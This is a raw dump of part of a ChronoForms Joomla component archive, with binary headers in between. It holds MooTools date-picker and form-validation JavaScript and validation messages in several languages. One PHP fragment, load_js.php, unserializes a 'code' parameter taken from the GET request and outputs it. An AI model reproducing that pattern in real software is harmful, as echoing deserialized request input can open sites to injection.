(this.picker.getStyle('opacity') == 0) { this.picker.tween('opacity', 0, 1); } // animate if ($chk(fx)) this.fx(fx); }, fx: function(fx) { if (fx == 'right') { this.oldContents.setStyles({ left: 0, opacity: 1 }); this.newContents.setStyles({ left: this.bodysize.x, opacity: 1 }); this.slider.setStyle('left', 0).tween('left', 0, -this.bodysize.x); } else if (fx == 'left') { this.oldContents.setStyles({ left: this.bodysize.x, opacity: 1 }); this.newContents.setStyles({ left: 0, opacity: 1 }); this.slider.setStyle('left', -this.bodysize.x).tween('left', -this.bodysize.x, 0); } else if (fx == 'fade') { this.slider.setStyle('left', 0); this.oldContents.setStyle('left', 0).set('tween', { duration: this.options.animationDuration / 2 }).tween('opacity', 1, 0); this.newContents.setStyles({ opacity: 0, left: 0}).set('tween', { duration: this.options.animationDuration }).tween('opacity', 0, 1); } }, constructPicker: function() { this.picker = new Element('div', { 'class': this.options.pickerClass }).inject(document.body); if (this.options.useFadeInOut) { this.picker.setStyle('opacity', 0).set('tween', { duration: this.options.animationDuration }); } var h = new Element('div', { 'class': 'header' }).inject(this.picker); var titlecontainer = new Element('div', { 'class': 'title' }).inject(h); new Element('div', { 'class': 'previous' }).addEvent('click', this.previous.bind(this)).set('text', '«').inject(h); new Element('div', { 'class': 'next' }).addEvent('click', this.next.bind(this)).set('text', '»').inject(h); new Element('div', { 'class': 'closeButton' }).addEvent('click', this.close.bindWithEvent(this, true)).set('text', 'x').inject(h); new Element('span', { 'class': 'titleText' }).addEvent('click', this.zoomOut.bind(this)).inject(titlecontainer); var b = new Element('div', { 'class': 'body' }).inject(this.picker); this.bodysize = b.getSize(); this.slider = new Element('div', { styles: { position: 'absolute', top: 0, left: 0, width: 2 * this.bodysize.x, height: this.bodysize.y }}) .set('tween', { duration: this.options.animationDuration, transition: Fx.Transitions.Quad.easeInOut }).inject(b); this.oldContents = new Element('div', { styles: { position: 'absolute', top: 0, left: this.bodysize.x, width: this.bodysize.x, height: this.bodysize.y }}).inject(this.slider); this.newContents = new Element('div', { styles: { position: 'absolute', top: 0, left: 0, width: this.bodysize.x, height: this.bodysize.y }}).inject(this.slider); }, renderTime: function() { var container = new Element('div', { 'class': 'time' }).inject(this.newContents); if (this.options.timePickerOnly) { this.picker.getElement('.titleText').set('text', 'Select a time'); } else { this.picker.getElement('.titleText').set('text', this.format(this.d, 'j M, Y')); } new Element('input', { type: 'text', 'class': 'hour' }) .set('value', this.leadZero(this.d.getHours())) .addEvents({ mousewheel: function(e) { var i = e.target, v = i.get('value').toInt(); i.focus(); if (e.wheel > 0) { v = (v < 23) ? v + 1 : 0; } else { v = (v > 0) ? v - 1 : 23; } i.set('value', this.leadZero(v)); e.stop(); }.bind(this) }) .set('maxlength', 2) .inject(container); new Element('input', { type: 'text', 'class': 'minutes' }) .set('value', this.leadZero(this.d.getMinutes())) .addEvents({ mousewheel: function(e) { var i = e.target, v = i.get('value').toInt(); i.focus(); if (e.wheel > 0) { v = (v < 59) ? v + 1 : 0; } else { v = (v > 0) ? v - 1 : 59; } i.set('value', this.leadZero(v)); e.stop(); }.bind(this) }) .set('maxlength', 2) .inject(container); new Element('div', { 'class': 'separator' }).set('text', ':').inject(container); new Element('input', { type: 'submit', value: 'OK', 'class': 'ok' }) .addEvents({ click: function(e) { e.stop(); this.select($merge(this.dateToObject(this.d), { hours: this.picker.getElement('.hour').get('value').toInt(), minutes: this.picker.getElement('.minutes').get('value').toInt() })); }.bind(this) }) .set('maxlength', 2) .inject(container); }, renderMonth: function() { var month = this.d.getMonth(); this.picker.getElement('.titleText').set('text', this.options.months[month] + ' ' + this.d.getFullYear()); this.d.setDate(1); while (this.d.getDay() != this.options.startDay) { this.d.setDate(this.d.getDate() - 1); } var container = new Element('div', { 'class': 'days' }).inject(this.newContents); var titles = new Element('div', { 'class': 'titles' }).inject(container); var d, i, classes, e, weekcontainer; for (d = this.options.startDay; d < (this.options.startDay + 7); d++) { new Element('div', { 'class': 'title day day' + (d % 7) }).set('text', this.options.days[(d % 7)].substring(0,this.options.dayShort)).inject(titles); } var available = false; var t = this.today.toDateString(); var currentChoice = this.dateFromObject(this.choice).toDateString(); for (i = 0; i < 42; i++) { classes = []; classes.push('day'); classes.push('day'+this.d.getDay()); if (this.d.toDateString() == t) classes.push('today'); if (this.d.toDateString() == currentChoice) classes.push('selected'); if (this.d.getMonth() != month) classes.push('otherMonth'); if (i % 7 == 0) { weekcontainer = new Element('div', { 'class': 'week week'+(Math.floor(i/7)) }).inject(container); } e = new Element('div', { 'class': classes.join(' ') }).set('text', this.d.getDate()).inject(weekcontainer); if (this.limited('date')) { e.addClass('unavailable'); if (available) { this.limit.right = true; } else if (this.d.getMonth() == month) { this.limit.left = true; } } else { available = true; e.addEvent('click', function(e, d) { if (this.options.timePicker) { this.d.setDate(d.day); this.d.setMonth(d.month); this.mode = 'time'; this.render('fade'); } else { this.select(d); } }.bindWithEvent(this, { day: this.d.getDate(), month: this.d.getMonth(), year: this.d.getFullYear() })); } this.d.setDate(this.d.getDate() + 1); } if (!available) this.limit.right = true; }, renderYear: function() { var month = this.today.getMonth(); var thisyear = this.d.getFullYear() == this.today.getFullYear(); var selectedyear = this.d.getFullYear() == this.choice.year; this.picker.getElement('.titleText').set('text', this.d.getFullYear()); this.d.setMonth(0); var i, e; var available = false; var container = new Element('div', { 'class': 'months' }).inject(this.newContents); for (i = 0; i <= 11; i++) { e = new Element('div', { 'class': 'month month'+(i+1)+(i == month && thisyear ? ' today' : '')+(i == this.choice.month && selectedyear ? ' selected' : '') }) .set('text', this.options.monthShort ? this.options.months[i].substring(0, this.options.monthShort) : this.options.months[i]).inject(container); if (this.limited('month')) { e.addClass('unavailable'); if (available) { this.limit.right = true; } else { this.limit.left = true; } } else { available = true; e.addEvent('click', function(e, d) { this.d.setDate(1); this.d.setMonth(d); this.mode = 'month'; this.render('fade'); }.bindWithEvent(this, i)); } this.d.setMonth(i); } if (!available) this.limit.right = true; }, renderDecades: function() { // start neatly at interval (eg. 1980 instead of 1987) while (this.d.getFullYear() % this.options.yearsPerPage > 0) { this.d.setFullYear(this.d.getFullYear() - 1); } this.picker.getElement('.titleText').set('text', this.d.getFullYear() + '-' + (this.d.getFullYear() + this.options.yearsPerPage - 1)); var i, y, e; var available = false; var container = new Element('div', { 'class': 'years' }).inject(this.newContents); if ($chk(this.options.minDate) && this.d.getFullYear() <= this.options.minDate.getFullYear()) { this.limit.left = true; } for (i = 0; i < this.options.yearsPerPage; i++) { y = this.d.getFullYear(); e = new Element('div', { 'class': 'year year' + i + (y == this.today.getFullYear() ? ' today' : '') + (y == this.choice.year ? ' selected' : '') }).set('text', y).inject(container); if (this.limited('year')) { e.addClass('unavailable'); if (available) { this.limit.right = true; } else { this.limit.left = true; } } else { available = true; e.addEvent('click', function(e, d) { this.d.setFullYear(d); this.mode = 'year'; this.render('fade'); }.bindWithEvent(this, y)); } this.d.setFullYear(this.d.getFullYear() + 1); } if (!available) { this.limit.right = true; } if ($chk(this.options.maxDate) && this.d.getFullYear() >= this.options.maxDate.getFullYear()) { this.limit.right = true; } }, limited: function(type) { var cs = $chk(this.options.minDate); var ce = $chk(this.options.maxDate); if (!cs && !ce) return false; switch (type) { case 'year': return (cs && this.d.getFullYear() < this.options.minDate.getFullYear()) || (ce && this.d.getFullYear() > this.options.maxDate.getFullYear()); case 'month': // todo: there has got to be an easier way...? var ms = ('' + this.d.getFullYear() + this.leadZero(this.d.getMonth())).toInt(); return cs && ms < ('' + this.options.minDate.getFullYear() + this.leadZero(this.options.minDate.getMonth())).toInt() || ce && ms > ('' + this.options.maxDate.getFullYear() + this.leadZero(this.options.maxDate.getMonth())).toInt() case 'date': return (cs && this.d < this.options.minDate) || (ce && this.d > this.options.maxDate); } }, allowZoomOut: function() { if (this.mode == 'time' && this.options.timePickerOnly) return false; if (this.mode == 'decades') return false; if (this.mode == 'year' && !this.options.yearPicker) return false; return true; }, zoomOut: function() { if (!this.allowZoomOut()) return; if (this.mode == 'year') { this.mode = 'decades'; } else if (this.mode == 'time') { this.mode = 'month'; } else { this.mode = 'year'; } this.render('fade'); }, previous: function() { if (this.mode == 'decades') { this.d.setFullYear(this.d.getFullYear() - this.options.yearsPerPage); } else if (this.mode == 'year') { this.d.setFullYear(this.d.getFullYear() - 1); } else if (this.mode == 'month') { this.d.setDate(1); this.d.setMonth(this.d.getMonth() - 1); } this.render('left'); }, next: function() { if (this.mode == 'decades') { this.d.setFullYear(this.d.getFullYear() + this.options.yearsPerPage); } else if (this.mode == 'year') { this.d.setFullYear(this.d.getFullYear() + 1); } else if (this.mode == 'month') { this.d.setDate(1); this.d.setMonth(this.d.getMonth() + 1); } this.render('right'); }, close: function(e, force) { if (!$(this.picker)) return; var clickOutside = ($chk(e) && e.target != this.picker && !this.picker.hasChild(e.target) && e.target != this.visual); if (force || clickOutside) { if (this.options.useFadeInOut) { this.picker.set('tween', { duration: this.options.animationDuration / 2, onComplete: this.destroy.bind(this) }).tween('opacity', 1, 0); } else { this.destroy(); } } }, destroy: function() { this.picker.destroy(); this.picker = null; this.options.onClose(); }, select: function(values) { this.choice = $merge(this.choice, values); var d = this.dateFromObject(this.choice); this.input.set('value', this.format(d, this.options.inputOutputFormat)); this.visual.set('value', this.format(d, this.options.format)); this.options.onSelect(d); this.close(null, true); }, leadZero: function(v) { return v < 10 ? '0'+v : v; }, format: function(t, format) { var f = ''; var h = t.getHours(); var m = t.getMonth(); for (var i = 0; i < format.length; i++) { switch(format.charAt(i)) { case '\\': i++; f+= format.charAt(i); break; case 'y': f += (t.getFullYear() + '').substring(2); break; case 'Y': f += t.getFullYear(); break; case 'm': f += this.leadZero(m + 1); break; case 'n': f += (m + 1); break; case 'M': f += this.options.months[m].substring(0,this.options.monthShort); break; case 'F': f += this.options.months[m]; break; case 'd': f += this.leadZero(t.getDate()); break; case 'j': f += t.getDate(); break; case 'D': f += this.options.days[t.getDay()].substring(0,this.options.dayShort); break; case 'l': f += this.options.days[t.getDay()]; break; case 'G': f += h; break; case 'H': f += this.leadZero(h); break; case 'g': f += (h % 12 ? h % 12 : 12); break; case 'h': f += this.leadZero(h % 12 ? h % 12 : 12); break; case 'a': f += (h > 11 ? 'pm' : 'am'); break; case 'A': f += (h > 11 ? 'PM' : 'AM'); break; case 'i': f += this.leadZero(t.getMinutes()); break; case 's': f += this.leadZero(t.getSeconds()); break; case 'U': f += Math.floor(t.valueOf() / 1000); break; default: f += format.charAt(i); } } return f; }, unformat: function(t, format) { var d = new Date(); d.setMonth(0); d.setDate(1); var a = {}; var c, m; t = t.toString(); for (var i = 0; i < format.length; i++) { c = format.charAt(i); switch(c) { case '\\': r = null; i++; break; case 'y': r = '[0-9]{2}'; break; case 'Y': r = '[0-9]{4}'; break; case 'm': r = '0[1-9]|1[012]'; break; case 'n': r = '[1-9]|1[012]'; break; case 'M': r = '[A-Za-z]{'+this.options.monthShort+'}'; break; case 'F': r = '[A-Za-z]+'; break; case 'd': r = '0[1-9]|[12][0-9]|3[01]'; break; case 'j': r = '[12][0-9]|3[01]|[1-9]'; break; case 'D': r = '[A-Za-z]{'+this.options.dayShort+'}'; break; case 'l': r = '[A-Za-z]+'; break; case 'G': case 'H': case 'g': case 'h': r = '[0-9]{1,2}'; break; case 'a': r = '(am|pm)'; break; case 'A': r = '(AM|PM)'; break; case 'i': case 's': r = '[012345][0-9]'; break; case 'U': r = '-?[0-9]+$'; break; default: r = null; } if ($chk(r)) { m = t.match('^'+r); if ($chk(m)) { a[c] = m[0]; t = t.substring(a[c].length); } else { if (this.options.debug) alert("Fatal Error in DatePicker\n\nUnexpected format at: '"+t+"' expected format character '"+c+"' (pattern '"+r+"')"); return d; } } else { t = t.substring(1); } } for (c in a) { var v = a[c]; switch(c) { case 'y': d.setFullYear(v < 30 ? 2000 + v.toInt() : 1900 + v.toInt()); break; // assume between 1930 - 2029 case 'Y': d.setFullYear(v); break; case 'm': case 'n': d.setMonth(v - 1); break; // FALL THROUGH NOTICE! "M" has no break, because "v" now is the full month (eg. 'February'), which will work with the next format "F": case 'M': v = this.options.months.filter(function(item, index) { return item.substring(0,this.options.monthShort) == v }.bind(this))[0]; case 'F': d.setMonth(this.options.months.indexOf(v)); break; case 'd': case 'j': d.setDate(v); break; case 'G': case 'H': d.setHours(v); break; case 'g': case 'h': if (a['a'] == 'pm' || a['A'] == 'PM') { d.setHours(v == 12 ? 0 : v.toInt() + 12); } else { d.setHours(v); } break; case 'i': d.setMinutes(v); break; case 's': d.setSeconds(v); break; case 'U': d = new Date(v.toInt() * 1000); } }; return d; } });PKGy>\(com_chronoforms/js/datepicker/index.htmlnuW+APKGy>\)'com_chronoforms/js/datepicker/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ +0..com_chronoforms/js/load_js.phpnuW+Asecure_unserialize($get['code']); //output the code ?> PKGy>\oJkU U -com_chronoforms/js/formcheck/formcheck-max.jsnuW+Avar FormCheckMax = new Class({ Extends: FormCheck, Implements: Options, /* Function: addError Private method Add error message */ addError : function(obj) { //determine position //var coord = obj.target ? document.id(obj.target).getCoordinates() : obj.getCoordinates(); var coord; if(obj.target && typeOf($(obj.target)) != 'null') { coord = $(obj.target).getCoordinates(); } else { coord = obj.getCoordinates(); } if(!obj.element && this.options.display.indicateErrors != 0) { if (this.options.display.errorsLocation == 1) { var pos = (this.options.display.tipsPosition == 'left') ? coord.left : coord.right; var options = { 'opacity' : 0, 'position' : 'absolute', 'float' : 'left', 'left' : pos + this.options.display.tipsOffsetX }; obj.element = new Element('div', {'class' : this.options.tipsClass, 'styles' : options}).injectInside(document.body); this.addPositionEvent(obj); } else if (this.options.display.errorsLocation == 2){ obj.element = new Element('div', {'class' : this.options.errorClass, 'styles' : {'opacity' : 0}}).injectBefore(obj); } else if (this.options.display.errorsLocation == 3){ obj.element = new Element('div', {'class' : this.options.errorClass, 'styles' : {'opacity' : 0}}); //hack for position if($chk(document.id('error-message-'+obj.get('name').replace(/\[\]/, '')))){ obj.element.inject(document.id('error-message-'+obj.get('name').replace(/\[\]/, ''))); }else{ if ($type(obj.group) == 'object' || $type(obj.group) == 'collection') obj.element.injectAfter(obj.group[obj.group.length-1]); else obj.element.injectAfter(obj); } //end hack } } if (obj.element && obj.element != true) { obj.element.empty(); //hack for title if($chk(obj.get('title'))){ obj.errors = [obj.get('title')]; } //end hack if (this.options.display.errorsLocation == 1) { var errors = []; obj.errors.each(function(error) { errors.push(new Element('p').set('html', error)); }); var tips = this.makeTips(errors).injectInside(obj.element); if(this.options.display.closeTipsButton) { tips.getElements('a.close').addEvent('mouseup', function(){ this.removeError(obj, 'tip'); }.bind(this)); } obj.element.setStyle('top', coord.top - tips.getCoordinates().height + this.options.display.tipsOffsetY); } else { obj.errors.each(function(error) { new Element('p').set('html',error).injectInside(obj.element); }); } if (!this.options.display.fadeDuration || Browser.Engine.trident && Browser.Engine.version == 5 && this.options.display.errorsLocation < 2) { obj.element.setStyle('opacity', 1); } else { obj.fx = new Fx.Tween(obj.element, { 'duration' : this.options.display.fadeDuration, 'ignore' : true, 'onStart' : function(){ this.fxRunning = true; }.bind(this), 'onComplete' : function() { this.fxRunning = false; if (obj.element && obj.element.getStyle('opacity').toInt() == 0) { obj.element.destroy(); obj.element = false; } }.bind(this) }); if(obj.element.getStyle('opacity').toInt() != 1) obj.fx.start('opacity', 1); } } if (this.options.display.addClassErrorToField && !obj.isChild){ obj.addClass(this.options.fieldErrorClass); obj.element = obj.element || true; } } });PKGy>\)&com_chronoforms/js/formcheck/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V&'com_chronoforms/js/formcheck/lang/pl.jsnuW+AformcheckLanguage = { required: "To pole jest wymagane.", alpha: "W tym polu dozwolone są wyłącznie litery.", alphanum: "W tym polu dozwolone sa wyłącznie litery i cyfry.", nodigit: "Cyfry w tym polu są niedozwolone.", digit: "Proszę podać poprawną liczbę.", digitmin: "Wartość musi wynosić przynajmniej %0", digitltd: "Wartość musi wynosić pomiędzy %0 a %1", number: "Proszę podać poprawny numer.", email: "Proszę podać poprawny e-mail:
      np. twoje.i...@twojadres.pl", image : 'W tym polu dozwolone są tylko obrazy', phone: "Proszę podać poprawny numer telefonu.", url: "Proszę podać poprawny adres strony:
      np. http://www.twojadres.pl", confirm: "To pole musi być takie samo jak %0", differs: "Ta wartość musi być inna od %0", length_str: "Niepoprawna dlugość, liczba znaków musi wynosić między %0 a %1", length_fix: "Niepoprawna dlugość, liczba znaków musi wynosić %0", lengthmax: "Niepoprawna dlugość, maksymalna dozwolona liczba znaków to %0", lengthmin: "Niepoprawna dlugość, minimalna wymagana ilość znaków to %0", words_min : "W tym polu może znajdować się minimalnie %0 słów, aktulanie masz: %1 słów", words_range : "W tym polu może znajdować się od %0 do %1 słów, aktulanie masz: %2 słów", words_max : "W tym polu może znajdować się maksymalnie %0 słów, aktualnie masz: %1 słów", checkbox: "Proszę zaznaczyć to pole", checkboxes_group : 'Proszę zaznaczyć %0 pól', radios: "Proszę wybrać jedną z opcji", select: "Proszę wybrać opcję z tego z menu", select_multiple : "Proszę wybrać przynajmniej jedną opcję" }PKGy>\(;;'com_chronoforms/js/formcheck/lang/it.jsnuW+AformcheckLanguage = { required : "Campo obbligatorio", alpha : "Non sono ammessi caratteri speciali e cifre", alphanum : "In questo campo sono ammessi solo lettere e cifre. I caratteri speciali non sono accettati", nodigit : "In questo campo non sono ammessi numeri", digit : "In questo campo sono accettati solo numeri interi", digitmin : "caratteri minimi %0", digitltd : "minimo %0, massimo %1 caratteri", number : "In questo campo sono accettati numeri interi e decimali, ma occorre usare il punto come separatore dei decimali", email : "Inserisci un indirizzo email valido", phone : "Inserisci un numero di telefono valido", url : "Inserisci un URL valido", confirm : "uguale a %0", differs : "diverso da %0", length_str: "La lunghezza del campo non corretta, deve essere compresa fra %0 e %1", length_fix: "La lunghezza del campo non corretta, deve essere esattamente di %0 caratteri", lengthmax : "massimo %0 caratteri", lengthmin : "minimo %0 caratteri", checkbox : "selezionare", radios : "selezionare un valore", select : "selezionare un valore" }PKGy>\o'com_chronoforms/js/formcheck/lang/ru.jsnuW+AformcheckLanguage = { required: "Это поле обязательно для заполнения.", alpha: "Это поле может содержать только буквы.", alphanum: "Это поле может содержать только буквы и цифры.", nodigit: "Это поле не может содержать цифры.", digit: "Пожалуйста укажите число.", digitmin: "Число не может быть менее %0", digitltd: "Число должно быть более %0 и менее %1", number: "Пожалуйста укажите число.", email: "Пожалуйста укажите правильный email:
      Например yourname@domain.ru", phone: "Пожалуйста укажите правильный телефон.", url: "Пожалуйста укажите правильный адрес url:
      Например http://www.domain.ru", confirm: "Это поле не должно отличаться от поля %0", differs: "Число должно отличаться от %0", length_str: "Длина строки должна быть от %0 до %1 символов", length_fix: "The length is incorrect, it must be exactly %0 characters", lengthmax: "Заполните поле строкой, состоящей не более чем из %0 символов", lengthmin: "Заполните поле строкой, состоящей не менее чем из %0 символов", checkbox: "Пожалуйста поставьте галочку", radios: "Пожалуйста выберите из предложенных вариантов", select: "Пожалуйста выберите из предложенных вариантов" }PKGy>\|'com_chronoforms/js/formcheck/lang/tr.jsnuW+AformcheckLanguage = { required: "Bu alanın doldurulması gereklidir.", alpha: "Bu alanda sadece alfabetik karakterler kullanılabilir.", alphanum: "Bu alanda sadece alfanumerik karakterler kullanılabilir.", nodigit: "Rakam kabul edilmez.", digit: "Lütfen geçerli bir tam sayı yazınız.", digitmin: "Rakam en az %0 olmalı", digitltd: "Değer %0 ve %1 arasında olmalı", number: "Lütfen geçerli bir numara yazınız.", email: "Lütfen geçerli bir email adresi yazınız:
      Örn. adiniz@domain.com", image : 'Bu alan sadece imaj çeşitleri içermelidir', phone: "Lütfen geçerli bir telefon numarası yazınız.", url: "Lütfen geçerli bir url yazınız:
      Örn. http://www.domain.com", confirm: "Bu alan %0 dan farklı", differs: "Bu alan %0 dan farklı olmalı", length_str: "Uzunluk yanlış, %0 ve %1 arasında olmalı", length_fix: "Uzunluk yanlış, tam olarak %0 karakter olmalı", lengthmax: "Uzunluk yanlış, en fazla %0 olmalı", lengthmin: "Uzunluk yanlış, en az %0 olmalı", words_min : "Bu alan en az %0 kelime içermeli, şu anki değer: %1 kelime", words_range : "Bu alan %0-%1 kelime içermeli, şu anki değer: %2 kelime", words_max : "Bu alan en fazla %0 kelime içermeli, şu anki değer: %1 kelime", checkbox: "Lütfen işaretlenecek kutuyu kontrol edin", checkboxes_group : 'Lütfen en az %0 kutu işaretleyin', radios: "Lütfen seçeneklerden birini işaretleyin", select: "Lütfen bir değer seçin", select_multiple : "Lütfen en az bir değer seçin" }PKGy>\'com_chronoforms/js/formcheck/lang/hr.jsnuW+AformcheckLanguage = { required: "Ovo polje je obavezno.", alpha: "Ovo polje prima samo slova.", alphanum: "Ovo polje prima samo slova i brojeve.", nodigit: "Brojevi su nedozvoljeni.", digit: "Unesite cjelobrojnu vrijednost.", digitmin: "Ovaj broj mora biti najmanje %0", digitltd: "Ova vrijednost mora biti između %0 i %1.", number: "Unesite broj.", email: "Unesite ispravan email.", image : 'Odaberite sliku', phone: "Unesite ispravan broj telefona.", url: "Unesite ispravan url:
      Napr. http://www.domain.com", confirm: "Ova vrijednost mora biti ista kao %0.", differs: "Ova vrijednost mora biti različita od %0.", length_str: "Duljuna mora biti između %0 i %1.", length_fix: "Duljuna mora biti točno %0 znakova.", lengthmax: "Duljuna mora biti najviše %0 znakova.", lengthmin: "Duljuna mora biti najmanje %0 znakova.", words_min : "Unesite %0 riječi, trenutno uneseno: %1 riječi", words_range : "Broj riječi mora biti od %0 do %1, trenutno uneseno: %2 riječi", words_max : "Broj riječi mora biti maksimalno %0, trenutno uneseno: %1 riječi", checkbox: "Odaberite.", radios: "Odaberite.", select: "Odaberite vrijednost.", checkboxes_group : 'Označite najmanje %0', select_multiple : "Odaberite barem jednu vrijednost" }PKGy>\0'com_chronoforms/js/formcheck/lang/fr.jsnuW+AformcheckLanguage = { required: "Ce champ est requis.", alpha: "Ce champ n'accepte que des caractères alphabétiques sans accents.", alphanum: "Ce champ n'accepte que des caractères alphanumériques.", nodigit: "Ce champ n'accepte pas les chiffres.", digit: "Ce champ n'accepte que les chiffres.", digitmin: "Cette valeur doit être au minimum %0", digitltd: "Cette valeur doit être comprise entre %0 et %1", number: "Ce champ n'accepte qu'un nombre.", email: "Veuillez entrer une adresse email valide:
      Ex. votrenom@domain.com", image : 'Ce champ ne peut contenir que des images', phone: "Veuillez entrer un numéro de téléphone valide.", url: "Veuillez entrer une adresse de site internet valide:
      Ex. http://www.domain.com", confirm: "Ce champ est différent de %0.", differs: "Ce champ doit être différent de %0.", length_str: "La longueur doit être comprise entre %0 et %1 caractères.", length_fix: "La longueur doit être de %0 caractères exactement.", lengthmax: "La longueur doit être au maximum de %0 caractères.", lengthmin: "La longueur doit être au minimum de %0 caractères.", words_min : "Ce champ doit contenir au moins %0 mots, actuellement : %1 mots", words_range : "Ce champ doit contenir entre %0 et %1 mots, actuellement : %2 mots", words_max : "Ce champ doit contenir au plus %0 mots, actuellement : %1 mots", checkbox: "Merci de cocher la case.", checkboxes_group : 'Merci de cocher au moins %0 case(s)', radios: "Merci de choisir une valeur.", select: "Merci de choisir une valeur dans la liste.", select_multiple: "Merci de choisir au moins une valeur dans la liste." }PKGy>\Y—'com_chronoforms/js/formcheck/lang/en.jsnuW+AformcheckLanguage = { required: "This field is required.", alpha: "This field accepts alphabetic characters only.", alphanum: "This field accepts alphanumeric characters only.", nodigit: "No digits are accepted.", digit: "Please enter a valid integer.", digitmin: "The number must be at least %0", digitltd: "The value must be between %0 and %1", number: "Please enter a valid number.", email: "Please enter a valid email:
      E.g. yourname@domain.com", image : 'This field should only contain image types', phone: "Please enter a valid phone.", url: "Please enter a valid url:
      E.g. http://www.domain.com", confirm: "This field is different from %0", differs: "This value must be different of %0", length_str: "The length is incorrect, it must be between %0 and %1", length_fix: "The length is incorrect, it must be exactly %0 characters", lengthmax: "The length is incorrect, it must be at max %0", lengthmin: "The length is incorrect, it must be at least %0", words_min : "This field must concain at least %0 words, currently: %1 words", words_range : "This field must contain %0-%1 words, currently: %2 words", words_max : "This field must contain at max %0 words, currently: %1 words", checkbox: "Please check the box", checkboxes_group : 'Please check at least %0 box(es)', radios: "Please select a radio", select: "Please choose a value", select_multiple : "Please choose at least one value" }PKGy>\}'com_chronoforms/js/formcheck/lang/hu.jsnuW+AformcheckLanguage = { required: "Ezt a mezőt kötelező kitölteni.", alpha: "Ebben a mezőben csak betűk engedélyezettek.", alphanum: "Ebben a mezőben csak számok engedélyezettek.", nodigit: "Számok beírása nem lehetséges.", digit: "Csak számok beírása lehetséges.", digitmin: "A legkisebb lehetséges szám a(z) %0.", digitltd: "Az értéknek %0 és %1 között kell lennie!", number: "Kérjük, adjon meg egy érvényes számot.", email: "Kérjük, adjon meg egy érvényes E-mail címet.", image : "A mezőnek érvényes fájlnevet kell tartalmaznia.", phone: "Kérjük, adjon meg egy érvényes telefonszámot.", url: "Kérjük, adjon meg egy érvényes internet címet.", confirm: "A mező eltér a(z) %0 értéktől.", differs: "Az értéknek a(z) %0 képest eltérőnek kell lennie.", length_str: "Az érték nem helyes, a hossznak %0 és %1 között kell lennie.", length_fix: "Az érték nem helyes, a hossznak pontosan %0 karakternek kell lennie.", lengthmax: "Az érték nem helyes, a karakterek maximális száma %0.", lengthmin: "Az érték nem helyes, a karakterek minimális száma %0.", words_min : "A minimálisan küldendő szavak száma %0, jelenleg: %1 szó van", words_range : "A mezőnek %0-%1 szót kell tartalmaznia, jelenleg: %2 szó van", words_max : "A maximálisan küldhető szavak száma %0, jelenleg: %1 szó van", checkbox: "Kérjük aktiválja.", radios: "Kérjük, válasszon ki egy értéket.", select: "Kérjük, válasszon ki egy értéket." }PKGy>\^u'com_chronoforms/js/formcheck/lang/gr.jsnuW+AformcheckLanguage = { required: 'Το πεδίο είναι υποχρεωτικό.', alpha: 'Το πεδίο δέχεται μόνο αλφαβητικούς χαρακτήρες.', alphanum: 'Το πεδίο δέχεται μόνο αλφαρηθμιτικούς χαρακτήρες.', nodigit: 'Δέν επιτρέπονται αριθμοί.', digit: 'Παρακαλώ πληκτρολογήστε ένα έγκυρο ψηφίο.', digitmin: 'Ο αριθμός γραμμάτων πρέπει να είναι τουλάχιστον %0', digitltd: 'Η τιμή πρέπει να είναι ανάμεσα στο %0 και στο %1', number: 'Παρακαλώ πληκτρολογήστε ένα έγκυρο αριθμό.', email: 'Παρακαλώ πληκτρολογήστε έγκυρη μορφή email: Π.χ. yourname@domain.com', phone: 'Παρακαλώ πληκτρολογήστε έναν έγκυρο αριθμό τηλεφώνου.', url: 'Παρακαλώ πληκτρολογήστε μία έγκυρη διεύθυνση: Π.χ. http://www.domain.com', confirm: 'Αυτό το πεδίο είναι διαφορετικό από το %0', differs: 'Η τιμή πρέπει να είναι διαφορετική από %0', length_str: 'Το μήκος είναι λάθος, πρέπει να είναι από %0 μέχρι %1', lengthmax: 'Το μήκος είναι λάθος, πρέπει να είναι το πολύ %0', lengthmin: 'Το μήκος είναι λάθος, πρέπει να είναι το ελάχιστο %0', checkbox: 'Παρακαλώ τσεκάρετε το κουτί', radios: 'Παρακαλώ επιλέξτε ένα από τα κουμπιά', select: 'Παρακαλώ επιλέξτε μία τιμή' }PKGy>\%'com_chronoforms/js/formcheck/lang/cz.jsnuW+AformcheckLanguage = { required: "Toto pole je povinné.", alpha: "Toto pole může obsahovat pouze písmena.", alphanum: "Do tohoto pole můžete zadávat pouze alfanumerické znaky.", nodigit: "Toto pole nemůže obsahovat číslice.", digit: "Toto pole může obsahovat jen celá kladná čísla.", digitmin: "Číslo musí být minimálně %0", digitltd: "Hodnota musí byt v intervalu %0 až %1", number: "Číslo prosím zadejte ve správném formátu.", email: "Prosím, zadajte e-mail ve správném formátu: Např. VaseJmeno@domena.cz", image : 'Toto pole může obsahovat jen obrázky', phone: "Prosím, zadejte telefonní číslo ve správném formátu: Např. 789123456", url: "URL prosím zadejte ve správném formátu: Např. http://www.domena.cz", confirm: "Pole není totožné s polem %0", differs: "Toto pole musí bý odlišné od %0", length_str: "Zadaný řetězec nemá správnu délku, musí být v rozsahu %0 a %1", length_fix: "Zadaný řetězec nemá správnu délku, musí mít délku přesne %0 znaků", lengthmax: "Zadaný řetězec nemá správnu délku, může být dlouhý maximálně %0 znaků", lengthmin: "Zadaný řetězec nemá správnu délku, musí být kratší než %0 znakov", words_min : "Toto pole musí obsahovat minimálně %0 slov. Momentálně má jen: %1 slov", words_range : "Toto pole musí obsahovat %0-%1 slov. Momentálně má : %2 slov", words_max : "Toto pole může obsahovat maximálně %0 slov. Momentálně má: %1 slov", checkbox: "Zaškrtnutí tohoto checkboxu je povinné", checkboxes_group : 'Prosím, vyberte minimálně %0 možnost(i)', radios: "Prosím vyberte jednu z možností", select: "Prosím vyberte jednu z možností", select_multiple : "Prosím vyberte jednu nebo více možností" } PKGy>\N 'com_chronoforms/js/formcheck/lang/fa.jsnuW+A/** * FormCheck Persian Language * * author * Amir Hossein Hodjati Pour ~ Boplo.ir */ formcheckLanguage = { required:"این فیلد الزامی است.", alpha:"لطفا فقط از حروف الفباء برای این بخش استفاده کنید. کاراکترهای دیگر و فاصله مجاز نیستند.", alphanum:"لطفا فقط از حروف الفباء و اعداد در این بخش استفاده کنید. کاراکترهای دیگر و فاصله مجاز نیستند.", nodigit: "لطفا عدد وارد نکنید.", digit: "لطفا یک عدد صحیح وارد کنید.", digitmin: "عدد باید بزرگتر از %0 باشد.", digitltd: "عدد باید بین %0 و 1% باشد.", number: "لطفا یک عدد معتبر وارد کنید.", email: "لطفا یک ایمیل معتبر وارد کنید:
